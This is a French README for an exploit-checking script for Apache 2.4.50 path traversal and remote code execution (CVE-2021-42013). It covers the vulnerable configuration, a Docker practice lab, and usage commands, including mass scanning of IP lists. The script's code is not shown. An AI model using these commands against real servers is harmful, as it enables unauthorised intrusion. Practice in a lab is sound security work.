Apache 2.4.50 - Contournement de chemin ou exécution de code à distance

CVE-2021-42013.py est un script Python qui vous aidera à trouver la vulnérabilité de contournement de chemin ou d'exécution de code à distance dans Apache 2.4.50. Une instance vulnérable de Docker est fournie pour vous entraîner sur CVE-2021-42013

Si CGI-BIN est activé, nous pouvons effectuer une exécution de code à distance mais pas un contournement de chemin, c'est pourquoi le répertoire « icons » a été ajouté dans la section Alias de httpd.conf pour vérifier la vulnérabilité de contournement de chemin.

Configurations vulnérables dans httpd.conf

1. Enable CGI-BIN
2. Add "icons" directory in Alias section
3. <Directory>Require all granted</Directory>

Laboratoire pour CVE-2021-42013

Build Docker

$ docker build -t cve-2021-42013 .

Run Docker

$ docker run -it cve-2021-42013

Utilisation de cve-2021-42013.py

Vérifier le contournement de chemin et l'exécution de code à distance

$ python3 cve-2021-42013.py -u http://172.17.0.2

PoC de contournement de chemin

$ python3 cve-2021-42013.py -u http://172.17.0.2 -pt

PoC d'exécution de code à distance

$ python3 cve-2021-42013.py -u http://172.17.0.2 -rce

Pour un scan en masse, fournissez un fichier texte contenant les IPs :

$ python3 cve-2021-42013.py -l list.txt

$ python3 cve-2021-42013.py -l list.txt -pt

$ python3 cve-2021-42013.py -l list.txt -rce

Plus d'informations peuvent être trouvées ici.

cve-2021-42013

Populaires